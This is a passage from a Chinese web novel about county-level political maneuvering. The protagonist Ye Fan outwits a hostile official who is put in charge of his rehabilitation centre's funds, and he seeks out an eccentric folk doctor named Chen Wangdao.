“没……刚准备睡。”电话那头的声音清醒了一些,带着一丝关切,“我看到县里的新闻了,你没事吧?这招也太损了。”
“我没事。”叶凡靠在墙上,看着天上的月亮,“我打电话,是想让你帮个忙。”
“你说。”苏沐秋立刻坐直了身体。
“我想找一个人。”叶凡说,“一个真正的,有本事的老中医。不是那种在医院里坐诊开药的,是那种可能在乡间,在民间,名声不显,但口碑极好,有真本事的。”
苏沐秋那边沉默了几秒,似乎在思索。
“你等一下,我想想……好像……还真有这么一个人。”苏沐秋的声音带着一丝不确定,“我小时候,我爷爷身体不好,我爸托了好多关系,从青川县下面一个叫白马镇的地方,请过一个老先生。那老先生脾气很怪,只看病,不收钱,要是看得上你,给你开副药,要是看不上,给多少钱都不理你。我只记得,他姓陈,大家都叫他‘陈怪人’。”
“陈怪人?”叶凡记下了这个名字。
“嗯。不过那都是十几年前的事了,不知道他还在不在。”苏沐秋的声音有些担忧,“你……你真的要搞这个?这里面的水,比你想象的深。”
“我知道。”叶凡笑了笑,“水深,才好摸鱼。”
他能听出她语气里的关心,心里流过一阵暖意。
“早点睡吧,别担心我。”
挂了电话,叶凡在月光下站了很久。
他知道,张海涛的棋局才刚刚开始。
但现在,他已经找到了破局的棋眼。
第二天,他把自己关在房间里整整一天。
第三天上午,一份名为《关于筹建青川县首家“中西医结合康复治疗中心”的可行性报告》,摆在了卫生局常务副局长马文亮的办公桌上。
马文亮本是抱着看笑话的心态翻开的。
可他越看,脸上的笑容就越僵硬,到最后,额头上甚至渗出了一层细密的冷汗。
报告里,没有一个字是吹嘘叶凡自己能做什么,通篇都在讲,这个平台,能为青川县的老百姓,为青川县的中医事业,带来什么。
站位之高,格局之大,逻辑之严密,让他这个在官场混迹了半辈子的老油条,都找不到任何可以指摘的地方。
报告的最后,还附上了一份拟定的“专家顾问委员会”名单。
第一个名字,就是孙兆龙。
而第二个名字,赫然写着——民间中医师,陈望道(待聘)。
马文亮拿着这份报告,感觉像拿着一个滚烫的山芋。
他知道,叶凡这一招,已经不是简单的拆招了。
这是在告诉所有人,棋局,该换一种下法了。
第124章 棋子过河,一步将军!
马文亮拿着那份报告,感觉自己的手心在往外冒着冷汗。
那十几页纸,轻飘飘的,却压得他喘不过气。
他几乎是小跑着穿过县委大院的走廊,那张平日里总是挂着弥勒佛般笑容的脸,此刻绷得像一块僵硬的石膏。
张海涛办公室的门被他敲得“砰砰”作响。
“进来。”里面的声音透着一丝不耐烦。
马文亮推门而入,反手关上门,像做贼一样。
他把那份报告,双手捧着,放在了张海涛宽大的办公桌上,声音带着他自己都没察觉到的颤抖:“张**……叶凡他……他把报告交上来了。”
张海涛正戴着老花镜看一份关于“文明城市”创建活动的文件,闻言连眼皮都没抬一下,只是从鼻子里“嗯”了一声,带着几分轻蔑:“这么快?是写了一份检讨,还是干脆放弃了?”
“不……不是……”马文亮结结巴巴地说,“他……他申请了。”
张海涛的手停住了,他缓缓抬起头,镜片后的眼睛里闪过一丝诧异。
他摘下眼镜,拿起了那份报告。
办公室里,只剩下纸张翻动的“沙沙”声。
马文亮站在一旁,连大气都不敢喘。他看着张海涛的脸色,从一开始的轻蔑,到中途的凝重,再到最后的铁青。
那张平日里威严的国字脸,像是开了个染坊,青一阵,白一阵,最后定格成一种暴风雨前夕的阴沉。
“混账!”
张海涛猛地将报告拍在桌上,发出“啪”的一声巨响,震得桌上的笔筒都跳了起来。
他胸口剧烈地起伏着,指着报告,手都在发抖:“中西医结合康复治疗中心?服务外科术后病人?我们出平台,招募民间中医?他……他怎么敢这么写!他怎么能这么写!”
马文亮吓得一哆嗦,低着头不敢说话。
“谁能反驳?你告诉我,谁能反驳!”张海涛像是对着马文亮咆哮,又像是在问自己,“我们说他不懂中医,他说他就是不懂,所以他只搭台,不唱戏!我们说他外行领导内行,他说他不是领导,是服务!这个报告交到市里,市里领导看了会怎么想?会觉得我们青川县的干部思想僵化,不支持改革创新,打压想干事的年轻人!”
他一拳砸在桌上,疼得自己龇牙咧嘴,怒火却更盛:“我给他挖了个坑,他转手就在坑边上给我修了座纪念碑!还把我的名字刻上去了!我**还得给他剪彩!”
这番粗俗却无比形象的比喻,让马文亮心里一寒。
他知道,张**这次,是真被逼到墙角了。
“那……那**,我们驳回他的申请?”马文亮小心翼翼地试探。
“驳回?用什么理由?”张海涛瞪着他,眼神像要**,“理由是这个方案太好了,我们嫉妒?还是理由是这个方案太符合国家政策了,我们不敢执行?”
马文亮彻底没话了。
张海涛在办公室里来回踱步,像一头被困在笼子里的老虎。
许久,他才停下来,眼神里闪过一丝阴狠的厉色。
“不能就这么让他称心如意。”他从牙缝里挤出几个字,“报告,让他报!我倒要看看,他这个平台,没有钱,怎么搭起来!”
他重新坐回椅子上,语气恢复了几分镇定,却更显冰冷:“你,现在就去回复他。县委原则上同意他的方案,支持他向市里申请这笔‘中医药发展专项扶持基金’。但是!”
他加重了语气:“为了保证这笔来之不易的专项资金能够专款专用,落到实处,县里决定,成立一个‘专项基金监督管理小组’,负责对这笔资金的审批、拨付和使用情况进行全程监督。这个小组的组长,就由你来担任!”
马文亮先是一愣,随即眼中爆发出狂喜的光芒。
高!实在是高!
这等于把叶凡的钱袋子,牢牢地攥在了自己手里。
你方案写得再天花乱坠,没有钱,就是一张废纸!
到时候,你买一根针,都得我签字。
我让你买,你才能买。
我不让你买,你就得干等着。
活活把你这个项目拖死、耗死!
“我明白了,**!”马文亮腰杆瞬间挺直了,“我保证,一定把好这个关,绝不让国家的一分钱,被某些人拿去乱搞什么名堂!”
张海涛挥了挥手,疲惫地靠在椅背上。
他感觉自己跟这个素未谋面的年轻人隔空斗法,耗费的心神,比开一个星期的**会还累。
……
青山镇的夜,静谧而清爽。
叶凡的手机轻轻震动了一下,屏幕亮起,是苏沐秋发来的一条短信。
“马文亮在张海涛办公室待了一个钟头才出来,估计没憋什么好屁。另外,白马镇的‘陈怪人’,真名叫陈望道。听说早年是省里中医院的专家,后来不知为何,辞职回了老家。脾气是真怪,不过医术,我爷爷说,神了。你万事小心。”
短短几行字,信息量巨大。
叶凡看着屏幕,嘴角勾起一抹温暖的弧度。
这个姑娘,总是在最关键的时候,不动声色地递过来一把手术刀。
他回了两个字:“收到。”
放下手机,他走出工棚。
不远处,王铁柱正带着几个村民,借着探照灯的光,清点今天运来的钢筋。
这个曾经绝望的汉子,如今像是换了个人,浑身都是使不完的劲儿,俨然成了工地上的义务监工头。
“铁柱大哥。”叶凡走了过去。
“哎,叶局!”王铁柱看见叶凡,立马放下手里的活,憨厚地笑了笑。
“有个事,想请你帮忙。”叶凡递过去一根烟。
王铁柱受宠若惊地接了过来,夹在耳朵上,舍不得点:“叶局您说,上刀山下火海,俺要是皱一下眉头,就不是人!”
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“没那么严重。”叶凡笑了,“我想请你去一趟白马镇,帮我找一个人。”
他把“陈望道”这个名字和苏沐秋给的信息,仔仔细细地跟王铁柱说了一遍,然后从口袋里掏出五百块钱塞给他。
“这是路费和开销,你一个人去,别声张。找到人之后,别说是我让你去的,就说你家孩子大病初愈,身子虚,想请老先生给瞧瞧,调理一下。你什么都别多说,就看他怎么说,怎么做,记住就行。”
王铁柱捧着那五百块钱,手都在抖。
他知道,叶局长这是把一件极重要、极信任的事,交给了他这个泥腿子。
这份信任,比那五百块钱,重得多。
“叶局,您放心!”他把钱揣进怀里,拍了拍胸脯,“俺就算把白马镇翻个底朝天,也把这位陈神仙给您找出来!”
第二天下午,县委办公室的一通电话,打到了工地的临时指挥部。
王功接了电话,脸上的表情像是坐过山车,一开始是抑制不住的喜悦,听到后来,眉头又紧紧地锁了起来。
他挂了电话,快步冲进工棚,所有专家都围了过来。
“怎么样?”孙兆龙急切地问。
“批了!”王功挥了挥拳头,兴奋地说,“县里同意我们把报告交到市里去申请那一百万了!”
“太好了!”工棚里一片欢呼。
“但是……”王功话锋一转,所有声音戛然而止,“县里成立了一个‘专项基金监督管理小组’,以后我们这个项目的所有开销,都要经过这个小组的审批才能拨付。小组的组长……是马文亮。”
“什么?!”孙兆龙的眼珠子都快瞪出来了,“**!这不是把黄鼠狼派来看鸡窝吗!”
“无耻!太无耻了!”
“这不是明摆着要卡我们脖子吗!”
专家们瞬间炸了锅,刚刚的喜悦荡然无存,取而代之的是滔天的愤怒和憋屈。
所有人都看向叶凡,等着他发话。
叶凡的脸上,却看不出丝毫的愤怒,甚至连一点意外都没有。
他只是平静地走到那张巨大的“青山镇疾病地图”前,看着上面用红蓝铅笔标注出的一个个密密麻麻的点。
他早就料到了。
张海涛如果连这点手段都没有,也坐不稳那个位置。
把钱袋子交出去,看似是被动,是受制于人。
但有时候,棋局的胜负,恰恰不在于你手里攥着多少子,而在于,你能不能让对方的子,心甘情愿地,为你所用。
他拿起一支红笔,在地图上“白马镇”的位置,轻轻画了一个圈。
他看着众人,嘴角浮起一丝意味深长的笑容。
“各位,别急。人家马局长愿意纡尊降贵,来帮我们管钱,这是好事。我们得感谢他。”
“咱们的康复中心,不是缺个财务顾问吗?这下,现成的人选不就有了?”
第125章 请来的“财神爷”!
叶凡那句“现成的人选不就有了”的话,像一颗投入平静湖面的石子,在工棚里激起了一圈涟漪。
孙兆龙他们都愣住了,一腔怒火憋在胸口,不上不下。
“叶局,你……你没开玩笑吧?”孙兆龙瞪着眼睛,第一个没忍住,“让马文亮来当财务顾问?那不是把账本直接送到他手里,让他想怎么拿捏就怎么拿捏吗?咱们这项目还能干得下去?”
“是啊,叶局,这人就是张海涛派来的一条狗,专门咬人的!”
“咱们辛辛苦苦弄来的钱,全得看他脸色,这活儿没法干了!”
工棚里怨声载道,刚才还因为方案通过而燃起的一点希望,瞬间被这盆冷水浇得透心凉。
叶凡没有急着解释,他走到桌边,提起暖水瓶,给每个人面前的搪瓷缸子里都续上了热水,蒸腾的热气模糊了他平静的脸。
“各位,稍安勿躁。”他放下暖瓶,环视众人,“张**和马局长给我们送了这么大一份礼,我们不接着,岂不是太不给面子了?”
他顿了顿,嘴角勾起一抹让人捉摸不透的笑意:“马局长愿意来当这个监督小组的组长,说明县里对我们这个项目高度重视。这是好事。我们不仅要欢迎,还要敲锣打鼓地欢迎。”
看着众人愈发困惑的表情,叶凡继续说道:“大家想一想,马局长是个什么样的人?卫生系统的老资格,最讲究什么?规矩,流程,制度。他最怕什么?担责任。”
“他现在当了这个组长,权力是有了,但责任呢?也一并扛在了肩上。我们这个项目,现在是市里挂了名,报纸上了头条的典型。要是项目黄了,第一个要被问责的是谁?”
孙兆龙脑子转得最快,眼睛猛地一亮:“是他马文亮!”
“没错。”叶凡打了个响指,“所以,从今天起,马文亮就不是我们的敌人,他是我们的‘财神爷’,是我们特聘的、不发工资的财务总监。我们接下来的工作,就是要全力以赴地‘配合’好马总监的工作。”
“怎么配合?”内科王主任还是有些担忧。
“很简单。”叶凡的笑容里多了一丝狡黠,“把他当成我们自己人,大事小事,都向他请示汇报。我们缺什么,少什么,遇到什么困难,第一时间找他解决。报告要打得勤,电话要打得勤。总之,要让他深切地感受到,他就是我们这个项目不可或??缺的一份子。”
骨科的李主任是个实在人,挠了挠头:“叶局,我还是没太明白。他要是就是不批钱,我们天天找他,不是自取其辱吗?”
叶凡笑了:“李主任,这就是关键了。我们报上去的采购申请,必须做到两点:第一,专业上无可挑剔。第二,价格上合情合理。”
他指了指孙兆龙:“比如,孙主任,你们外科手术用的缝合线,是不是分好多种?有没有一种是德国进口的,专门用于显微神经吻合的,一根就要几百块?”
孙兆龙一拍大腿,乐了:“有啊!那玩意儿叫‘普迪思’,别说几百,上千的都有!平时我们都舍不得用。”
“好。”叶凡点头,“那我们的康复中心,为了给将来做精细针灸疗法提供显微解剖学支持,需要采购一批这种缝合线用于动物标本实验,这个理由,够不够专业?”
他又看向内科王主任:“王主任,中医讲究药食同源,很多高端的食疗方子,是不是需要用到纯野生的山参、灵芝?我们为了保证疗效,拒绝人工养殖的药材,坚持采购长白山的道地货,这个要求,过不过分?”
工棚里,一众专家们你看看我,我看看你,眼神都变了。
那是一种棋逢对手,甚至有点跃跃欲试的兴奋。
他们都是各自领域的顶尖专家,要说在专业领域里找出点让外行头疼的难题,那简直是信手拈来。
“我明白了!”孙兆龙笑得像个孩子,“他马文亮要是敢批,这么贵的账单报上去,审计第一个找他麻烦!他要是不批,我们就拉着他到工地上看,当着所有人的面问他,马总监,我们专家都认为这是必需品,您说不批,是您比我们更懂业务,还是您想故意延误我们这个市级典型工程的进度?”
“到时候,咱们再让苏记者过来‘采访’一下,问问咱们的马总监是如何‘尽心尽力’地为我们这个项目‘保驾护航’的。”叶凡最后补上了一刀。
“哈哈哈哈!”工棚里爆发出震天的笑声,之前的压抑和憋屈一扫而空。
这哪里是权谋,这分明就是一场降维打击。
用最专业的知识,去碾压一个半瓶子醋的官僚。
这帮技术宅们,第一次发现,原来自己的专业,除了治病救人,还能这么用。
真**过瘾!
……
正如叶凡所料,马文亮上任的第一把火,烧得又快又急。
第二天一早,他就带着两名县财政局的会计,开着一辆崭新的普桑,耀武扬威地进了驻地。
他没先去工地,而是直接让人把指挥部的账本、单据、凭证,全部封存了起来,美其名曰“交接工作,规范管理”。
“叶局长,不是我信不过你。”马文亮坐在工棚里,派头十足,翘着二郎腿,手里夹着一根中华烟,“主要是,这笔钱是国家的专项资金,一分一厘都得对得上号。咱们先把之前的账理清楚,才好开展下一步工作嘛。你放心,我们财政局的同志都是专业的,保证三天之内,给你们理得清清楚楚,明明白白。”
他嘴上说得客气,眼里的得意却藏不住。
这是下马威,也是一种宣告:从今天起,这个项目的钱,我说了算。
叶凡脸上的笑容比他还热情:“马局长说得对!我们这些人,搞业务是把好手,管钱是真外行。您和财政局的同志能来,真是给我们解决了大问题!我们举双手欢迎!孙主任,你们还愣着干什么,赶紧把咱们的‘财务总监’请到办公室上座,泡最好的茶!”
孙兆龙他们憋着笑,一拥而上,七手八脚地把马文亮簇拥进了那间最好的办公室,热情得让他都有些发毛。
马文亮和两名会计,被关在办公室里,对着那一堆杂乱的票据,开始了“审计”工作。
而叶凡,则带着专家们,开起了“第一届项目预算审批讨论会”。
“孙主任,你那个德国缝合线的申请,写好了吗?”
“写好了!我加了三篇国外最新的学术论文当附件,专门论证了显微观察对于针灸穴位精准定位的必要性。他要是看得懂算我输!”
“王主任,你的野生药材采购单呢?”
“也好了!我把《本草纲目》和《神农本草经》里相关的段落都复印下来了,还在旁边做了详细的批注。他要是敢说人工的也一样,我就敢让他当场吃下去试试!”
“还有我这个!”骨科李主任兴冲冲地举手,“我们康复中心,得有专业的推拿按摩床吧?我找了一款意大利进口的,符合人体工学,带远红外加热和震动功能的,一张也不贵,就三万块。申请理由是,为了保护我们中医专家的腰椎健康,让他们能更好地为人民服务!”
“……”
半天下来,一份厚达两百多页,附带了无数图表、论文、古籍影印件的“第一期项目启动资金预算申请报告”,新鲜出炉。
叶凡亲自拿着这份报告,敲响了马文亮的办公室门。
“马总监,辛苦了辛苦了!”叶凡满脸堆笑地走进去,将那本比砖头还厚的报告放在他桌上,“账理得怎么样了?不着急,慢慢来。这是我们专家组刚刚讨论出来的第一批采购预算,您先过目。我们这儿等米下锅呢
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,您可得抓紧时间,给我们批了呀!”
马文亮看着眼前这座小山似的报告,眼角抽搐了一下。
他随手翻了翻,满眼的英文、图表和天书一样的草药名,脑袋嗡的一声就大了。
“这……这都要买?”他指着那张三万块的按摩床,声音都变了调。
“是啊!”叶凡一脸的理所当然,“马局长,您是不知道,我们这些专家都是全县的宝贝。尤其是将来要请来的老中医,年纪大了,身体金贵。这按摩床,买的不是设备,是对人才的尊重啊!张**不是天天强调要‘筑巢引凤’吗?我们这就是在筑巢呢!”
一顶“尊重人才”和“筑巢引凤”的大帽子扣下来,压得马文亮哑口无言。
他张了张嘴,想说太贵了,可看着报告里附带的那些他一个字也看不懂的专业论证,这话又怎么也说不出口。
他要是说不需要,叶凡明天就敢把这话传遍全县,说他马文亮不尊重专家,打压中医人才。
“我……我研究研究。”马文亮憋了半天,才从牙缝里挤出这几个字。
“应该的,应该的。您是我们的财务总监嘛,把关是您的职责。”叶凡笑呵呵地说,“那我们就不打扰您工作了。我们全项目组的人,都等着您的好消息!”
说完,他转身就走,留下马文亮一个人,对着那份报告,如坐针毡。
接下来的两天,成了马文亮的噩梦。
他走到哪儿,孙兆龙那张大脸就跟到哪儿,张口闭口就是“马总监,我那个显微缝合线,您研究得怎么样了?再不批,动物标本都要不新鲜了。”
他刚端起饭碗,内科王主任就凑了过来,“马总监,您尝尝这白菜,要是用长白山的水,野山参的汤来炖,那味道,啧啧……哎,我那个药材申请……”
就连晚上他想清静一下,招待所的门都会被敲响,骨科李主任会探进一个脑袋:“马总监,还没睡呢?我这儿有个关于按摩床的人体工学报告,英文版的,想请您翻译翻译,指导一下。”
马文亮快疯了。
他感觉自己不是来当官的,是来这山沟里渡劫的。
他带来的那两个会计已经被那堆乱七八糟的发票和白条折磨得两眼发直,天天嚷嚷着要回县里。
他想发火,却找不到由头。
人家句句都是为了工作,态度比谁都恭敬。
他想拖延,可叶凡那帮人就跟索命的冤魂一样,一天问八遍,还当着所有工人的面问,让他下不来台。
第四天傍晚,就在马文亮被折磨到精神崩溃边缘的时候,一辆满身尘土的摩托车,“突突突”地冲进了工地。
王铁柱跳下车,风尘仆仆,脸上却带着一股压抑不住的兴奋。
他径直跑到正在和孙兆龙“讨论工作”的叶凡面前,压低了声音,只说了三个字。
“找到了。”
叶凡的眼睛,瞬间亮了。
他转过头,看着旁边一脸便秘表情的马文亮,脸上的笑容,前所未有的灿烂。
“马总监!”他走过去,重重地拍了拍马文亮的肩膀,“好消息!天大的好消息!”
“我们这个项目的灵魂人物,找到了!”
“白马镇的陈望道,陈老先生,初步同意,可以考虑一下我们的邀请了!”
马文亮一愣,还没反应过来。
叶凡的下一句话,却像一记重锤,狠狠地砸在了他的心口上。
“不过,陈老先生脾气怪,他说了,要请他出山,得拿出足够的诚意。他要亲自看我们的方案,还要……亲自见一见我们这个项目的‘大管家’,看看我们是不是真心实意要办这件事。”
叶凡的目光灼灼地盯着马文亮,一字一句地说道:“马总监,陈老先生能不能请来,我们这个项目能不能成,现在,就看您的了。”
第126章 大管家的“三顾茅庐”!
马文亮感觉自己像是被架在了火上,底下烧的不是柴,是叶凡递过来的那一捆捆浸了油的“**”和“大局”。
他的脸一阵红一阵白,嘴唇哆嗦了半天,一个字都说不出来。
他能说什么?说自己请不动?那不等于承认自己无能,承认自己这个“大管家”在项目灵魂人物面前毫无分量。
说不去?
叶凡明天就能把“马局长不顾大局,阻碍项目关键人才引进”的帽子给他扣得严严实实。
“怎么了,马总监?”叶凡脸上的关切恰到好处,“是不是有什么难处?没关系,您说出来,我们大家一起想办法。毕竟,这可是张**亲自交代的任务,可不能办砸了。”
孙兆龙在旁边憋着笑,一本正经地帮腔:“是啊,马总监,我们这儿庙小,请不动真神。您是县领导,代表的是县委县政府的脸面,您亲自出马,那效果肯定不一样!这叫诚意!”
一顶“县委脸面”的高帽戴上来,马文亮感觉脖子都僵了。
他骑虎难下,只能从牙缝里挤出一句话:“不……不用!不就是请个老先生吗?多大点事!我亲自去!”
“那就太好了!”叶凡一拍手,热情得像是要给他开欢送会,“我们这就给您备车!王主任,把咱们招待所那两瓶没开的西凤酒拿上,再装两斤点心,不能让马总监空着手去!”
马文亮看着叶凡那张真诚的笑脸,心里却像吞了一百只苍蝇。
他知道,自己今天要是请不来这个陈望道,回来就得成了整个青川县的笑话。
去白马镇的路,比马文亮想象的还要难走。
县里派的普桑轿车在坑坑洼洼的土路上颠簸得像要散架,马文亮坐在后座,感觉自己的五脏六腑都在翻江倒海。
他看着窗外飞速**的荒山野岭,心里把叶凡和那个什么狗屁陈怪人骂了不下八百遍。
好不容易进了白马镇,又七拐八绕地找到一个破旧的院子。
院墙是土坯的,门口连个像样的牌子都没有,只有一棵歪脖子槐树。
马文亮整理了一下被颠皱的西装,清了清嗓子,端起官架子,让司机提着礼品,自己上前敲了敲那扇斑驳的木门。
“咚、咚、咚。”
等了半天,里面才传来一个苍老而慵懒的声音:“门没锁,自己滚进来。”
马文亮脸色一僵,强压下火气,推门而入。
院子不大,却收拾得干净利落。
地上晾晒着各种他不认识的草药,空气中弥漫着一股浓郁的药香和阳光混合的味道。
一个穿着洗得发白的粗布对襟衫,头发花白、胡子拉碴的老头,正躺在一张竹制躺椅上,闭着眼睛,悠哉悠哉地晒着太阳,手里还捏着一把蒲扇。
这就是陈望道?
马文亮心里一阵嘀咕,这形象跟他想象中仙风道骨的神医,差得也太远了,倒像个乡下土财主。
“您好,请问是陈望道陈老先生吗?”马文亮摆出最和蔼的笑容。
那老头眼皮都没抬一下,只是从鼻子里“嗯”了一声。
“我是青川县卫生局的马文亮。”马文亮自报家门,刻意加重了“卫生局”三个字,“这次来,是代表我们县委县政府,想特聘您出山,担任我们一个非常重要的医疗项目的首席专家顾问!”
他本以为搬出“县委县政府”这尊大佛,对方至少会坐起来。
没想到,陈望道连姿势都没换一下,只是懒洋洋地问了一句:“什么项目?”
“我们正在筹建青川县首家‘中西医结合康复治疗中心’!”马文亮连忙把准备好的一套说辞搬了出来,“这个项目是市里都挂了名的重点工程,由县委张**亲自督办,旨在解决广大人民群众术后康复难的问题。我们计划投入一百万专项资金,只要您肯出山,待遇、设备,一切都不是问题!”
他说得口干舌燥,陈望道却像是没听见,反而睁开眼,浑浊的目光在他身上扫了扫,问了个风马牛不相及的问题:“你最近是不是晚上起夜多,两三点钟就醒,腰眼发酸,看东西眼花?”
马文亮愣住了。
他最近确实有这些毛病,可这是他的隐私,怎么能当着外人的面说。
“陈老先生,我们还是谈谈项目的事……”
“你身上官气太重,心火太旺,肝风内动,脾湿不化。”陈望道自顾自地说着,像是陈述一个事实,“再这么下去,不出三年,就得中风。到时候,别说一百万,一千万也买不回你的命。”
马文亮的脸瞬间涨成了猪肝色,又惊又怒:“你……你胡说八道什么!”
“我是不是胡说,你自己心里清楚。”陈望道重新闭上眼睛,挥了挥手里的蒲扇,像在赶苍蝇,“回去吧。你没病,我这儿不看官。”
这简直是奇耻大辱!
马文亮感觉自己的脸被人按在地上反复摩擦。
他好歹也是个副处级干部,什么时候受过这种气!
“陈望道!”他气急败坏地叫道,“你不要敬酒不吃吃罚酒!我们是真心实意来请你,你这是什么态度!你知不知道你耽误的是全县人民的大事!”
“哦?全县人民的大事?”陈望道终于坐了起来,那双浑浊的眼睛里此刻却透出一股慑人的精光,“那份报告,是你写的?”
“报告?”马文亮一愣。
“就是那个什么康复中心的报告。”
“那……那不是我写的,是我们项目组的负责人,叶凡写的。”马文亮下意识地回答。
“哼。”陈望道冷笑一声,重新躺了回去,“一个连报告都看不懂的人,跑来跟我谈什么全县人民的大事?你连自己身上那点鸡毛蒜皮的小
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病都看不明白,还想管别人的生死?”
他顿了顿,语气变得不耐烦起来:“想让我看病,可以。院子里那些草药,你给我分拣出来。哪个是柴胡,哪个是前胡,哪个是银柴胡。分对了,我就跟你走。分不对,提着你的东西,滚蛋。”
马文亮看着满院子长得差不多的花花草草,脑袋“嗡”的一声,彻底懵了。
别说柴胡前胡,他连哪个是草,哪个是药都分不清!
他站在院子中央,走也不是,留也不是,一张脸憋得通红,汗水顺着额角往下淌。
他带来的司机站在门口,想笑又不敢笑,肩膀一耸一耸的。
“怎么?卫生局的大领导,不认识药材?”陈望道的声音里满是嘲讽。
马文亮终于崩溃了,他把手里的文件夹往地上一摔,指着陈望道:“你……你不可理喻!”
说完,他转身就走,连司机手里的礼品都不要了,狼狈地钻进汽车,一溜烟地逃离了这个让他无地自容的院子。
回到青山镇指挥部的时候,天已经黑了。
马文亮像一只斗败的公鸡,垂头丧气,一整天的威风和官气都被白马镇的土路和那个该死的老头给颠没了。
工棚里灯火通明,叶凡和专家们正围着图纸讨论着什么,看到他进来,所有人都停下了手里的活,齐刷刷地看向他。
“马总监,回来了?”叶凡站起身,脸上挂着关切的笑容,“怎么样?陈老先生怎么说?是不是被您的诚意打动,当场就答应了?”
马文亮看着叶凡那张笑脸,恨不得一拳打过去。
他深吸一口气,强行挤出一个比哭还难看的笑容,声音沙哑地说:“陈老先生……他……他说他年纪大了,身体不好,暂时……暂时不想出山。”
“哦?是吗?”叶凡的表情看不出丝毫意外,“那真是太遗憾了。是不是我们招待不周?或者,是我们的方案,还有什么地方让他不满意?”
“没……没有。”马文亮支支吾吾,他总不能说自己因为不认识草药被人赶了出来吧,“他就是……脾气怪。”
“这样啊。”叶凡若有所思地点点头,然后转向孙兆龙他们,一脸严肃地宣布:“看来,是我们这些人的诚意还不够。马总监日理万机,亲自出马都请不动,说明问题很严重。”
他沉吟片刻,像是下了一个重大的决定,目光灼灼地看着马文亮。
“马总监,看来,明天,得我亲自去一趟了。不过,我一个人去,分量不够。还得请您……再陪我跑一趟。”
“什么?!”马文亮眼珠子都快瞪出来了。
“您是县委派来的大管家,您不去,怎么能体现出我们对陈老先生的最高敬意呢?”叶凡的笑容,在马文亮看来,简直比魔鬼还可怕,“这叫,三顾茅庐。您说,对不对?”
第127章 “三顾茅庐”,诚意入心!
叶凡那句“三顾茅庐”,像一把无形的刀,精准地**了马文亮的心窝。
他想拒绝,可叶凡那双平静却透着坚定的眼睛,以及周围专家们“看好戏”的眼神,让他如芒在背。
他知道,自己要是今天不点头,明天叶凡就能把“马总监阻碍项目人才引进”的帽子,给他戴得严严实实。
“行……行吧。”马文亮咬着牙,从牙缝里挤出这两个字。他感觉自己不是去请人,是去受刑。
第二天清晨,天刚蒙蒙亮。
马文亮顶着一对黑眼圈,坐上了那辆昨天把他颠得七荤八素的普桑。
叶凡坐在副驾驶,精神抖擞,手里还拿着一份厚厚的材料,不时翻看。
“叶局长,您……您这是准备什么呢?”马文亮看着叶凡手里的东西,心里泛起了嘀咕。
“哦,这份啊。”叶凡晃了晃手里的报告,笑容温和,“这是我连夜整理的,关于青山镇常见慢性病、老年病和术后康复病例的详细数据,以及我们康复中心未来的初步规划。我想,陈老先生既然是真正为民着想的医者,肯定更关心这些实实在在的东西。”
马文亮心里冷哼一声,心想,你以为他真是个关心百姓的神医?我看他就是个傲慢的老顽固!
汽车再次在崎岖的山路上颠簸,马文亮一路颠得胃里翻江倒海,几次差点吐出来。
他看着叶凡脸上那份从容,心里更是来气。
这小子,真是天生来克他的。
终于,汽车停在了那棵歪脖子槐树下。
马文亮一下车,双腿发软,差点没站稳。
他看着那扇熟悉的破旧木门,心里直打鼓。
“马总监,您请。”叶凡做了个手势。
马文亮磨磨蹭蹭地走到门前,深吸一口气,再次敲响了木门。
“咚、咚、咚。”
里面依然传来那句熟悉的“门没锁,自己滚进来。”
马文亮脸色一僵,推开门,只见陈望道依然躺在竹椅上晒太阳,手里摇着蒲扇,仿佛昨天的一切都未曾发生。
“陈老先生,我们又来了。”叶凡上前一步,语气恭敬,没有丝毫谄媚,“打扰您清修,实在抱歉。我们这次来,是想再向您请教一件事。”
陈望道眼皮都没抬,只是淡淡地吐出两个字:“滚蛋。”
马文亮心里一喜,这老头还是老样子,看你怎么收场!
叶凡却仿佛没听见,他走到院子中央,没有坐下,也没有摆出任何姿态,只是将手中的材料轻轻放在地上。
“陈老先生,我知道您医术高明,心系百姓。我们筹建这个中西医结合康复治疗中心,并非为了政绩,而是真正看到了青山镇百姓的疾苦。”叶凡的声音不高,却字字清晰,充满了力量。
“您可知道,在青山镇,有多少像王铁柱家孩子那样的病人?他们被西医救回一条命,却因为缺乏后续的康复治疗,常年卧床,甚至落下残疾。有多少老年人,身患慢性病,因为没钱,因为交通不便,只能忍受病痛折磨,靠着土方子勉强度日?”
他拿起地上的报告,翻开其中一页,指着上面的数据:“这是我们普查到的,青山镇高血压、糖尿病、风湿骨病患者的统计数据。触目惊心啊!他们需要专业的调理,需要长期的康复指导。这些,恰恰是纯粹的西医所无法完全覆盖的盲区。”
陈望道手中的蒲扇停了下来,他终于睁开了眼睛,目光落在那份报告上。
“我们想做的是,用最先进的西医技术,把人从鬼门关拉回来。再用老祖宗的智慧,把他们扶起来,让他们能重新活得有尊严。西医是治病,中医是治人。我们想把这两者结合起来,打造一个真正能为老百姓服务,能让他们活得更好的平台。”叶凡语气诚恳,眼神清澈,“我们不懂中医,所以才想请您这样的大家来指点迷津。我们不求您大富大贵,只求您能看到这些数据背后,那些渴望健康的眼神。”
陈望道没有说话,只是定定地看着叶凡。
他的目光锐利,像两把刀,似乎要剖开叶凡的内心。
马文亮在一旁听得心惊肉跳。
他没想到叶凡会来这一套,不谈官场,不谈钱,只谈百姓疾苦和医学理念。
这简直是直击陈望道的心坎。
许久,陈望道才缓缓开口,声音带着一丝沙哑:“你说的这些,是你想的,还是你们那些领导想的?”
“这是我亲眼所见,亲身感受到的。”叶凡毫不犹豫,“也是我作为一名医生,最希望改变的现状。至于领导,他们批准了我的方案,提供了资金,这本身就是对我的支持。”
陈望道又看了他一眼,然后闭上眼睛,重新摇起蒲扇。
“你去把院子里那些晒着的草药,按照药性和功效,给我分拣出来。分对了,我就考虑考虑。”
这话一出,马文亮差点没跳起来。
这老头,又来这套!
他刚想提醒叶凡,却见叶凡已经走到那些草药前,蹲下身。
叶凡没有立刻动手,他先是拿起一株草药,放在鼻尖嗅了嗅,又轻轻捻了捻,然后走到另一堆药材旁,拿起一株,对比着看了看。
他的动作很慢,很认真,带着一种医者特有的严谨。
马文亮看着叶凡的背影,心里一阵冷笑。
一个西医外科医生,还能懂中药?装模作样!
然而,叶凡接下来的动作,却让马文亮愣住了。
叶凡拿起一株柴胡,放到一个框里,又拿起一株前胡,放到另一个框里。
他虽然没有像陈望道那样,一眼就能认出所有药材,但他每拿起一株药材,都会仔细观察其叶片、根茎、气味,然后若有所思地将其归类。
他并不是在辨认药材本身,而是在根据药材的表象特征,结合自己对中医基础知识的了解,进行逻辑上的归纳和判断。
